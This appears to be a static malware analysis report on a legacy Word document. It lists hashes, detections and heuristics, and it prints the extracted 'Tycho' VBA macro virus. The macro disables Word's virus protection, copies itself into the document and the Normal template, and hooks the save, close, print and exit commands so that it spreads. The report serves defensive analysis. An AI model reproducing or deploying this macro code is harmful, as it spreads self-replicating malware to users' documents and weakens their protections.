Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a13d8a56d761f66…

MALICIOUS

Office (OLE)

54.0 KB Created: 2001-06-08 19:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 591c3c2d0fa2c9a851abecf5e71bb94c SHA-1: 3660b82434b9642ae1567aec8a36b6a54b51f5e6 SHA-256: 4a13d8a56d761f66383f307dc353fdc70212a1d1f2a1c7755016a319752cb8ce
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that appear to be designed to export themselves and potentially establish persistence. The macro attempts to export its own code to 'c:\tycho.nis' and then attempts to import it into the active document and the NormalTemplate, suggesting an effort to ensure the macro runs persistently. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.VMPCK1-3' further indicate malicious intent, likely related to trojan functionality.

Heuristics 3

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6055 bytes
SHA-256: 1a4c426ac7b8eeb20d1416297111099421367d13cdc6dc697c6e12b88b74675a
Detection
ClamAV: Doc.Trojan.VMPCK1-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Tycho()
On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With

Application.VBE.ActiveVBProject.VBComponents("Module1").Export ("c:\tycho.nis")

ActiveDocument.ReadOnlyRecommended = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(I).Name = "Tycho" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "Tycho" Then ActivInstall = True
Next I
If ActivInstall = False Then
    With ActiveDocument.VBProject
        With .VBComponents.Import("c:\tycho.nis")
        End With
    End With
End If
If NormInstall = False Then
    Application.VBE.ActiveVBProject.VBComponents("Tycho").Export "c:\tycho.nis"
    With NormalTemplate.VBProject
        With .VBComponents.Import("c:\tycho.nis")
        End With
    End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
End Sub

Sub FileSave()
    On Error Resume Next
    Call Tycho
    ActiveDocument.Save
End Sub

Sub FileClose()
    On Error Resume Next
    Call Tycho
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub

Sub FileSaveAs()
    On Error Resume Next
    Dialogs(wdDialogFileSaveAs).Show
    Call Tycho
End Sub

Sub FilePrint()
    On Error Resume Next
    Dialogs(wdDialogFilePrint).Show
    Call Tycho
End Sub

Sub FileExit()
    On Error Resume Next
    Call Tycho
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub

Sub AutoExit()
    On Error Resume Next
    Call Tycho
End Sub

Attribute VB_Name = "Module11"
Sub Tycho()
On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With

Application.VBE.ActiveVBProject.VBComponents("Module1").Export ("c:\tycho.nis")

ActiveDocument.ReadOnlyRecommended = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(I).Name = "Tycho" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "Tycho" Then ActivInstall = True
Next I
If ActivInstall = False Then
    With ActiveDocument.VBProject
        With .VBComponents.Import("c:\tycho.nis")
        End With
    End With
End If
If NormInstall = False Then
    Application.VBE.ActiveVBProject.VBComponents("Tycho").Export "c:\tycho.nis"
    With NormalTemplate.VBProject
        With .VBComponents.Import("c:\tycho.nis")
        End With
    End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
End Sub

Sub FileSave()
    On Error Resume Next
    Call Tycho
    ActiveDocument.Save
End Sub

Sub FileClose()
    On Error Resume Next
    Call Tycho
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub

Sub FileSaveAs()
    On Error Resume Next
    Dialogs(wdDialogFileSaveAs).Show
    Call Tycho
End Sub

Sub FilePrint()
    On Error Resume Next
    Dialogs(wdDialogFilePrint).Show
    Call Tycho
End Sub

Sub FileExit()
    On Error Resume Next
    Call Tycho
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub

Sub AutoExit()
    On Error Resume Next
    Call Tycho
End Sub

Attribute VB_Name = "Module12"
Sub Tycho()
On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With

Application.VBE.ActiveVBProject.VBComp
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.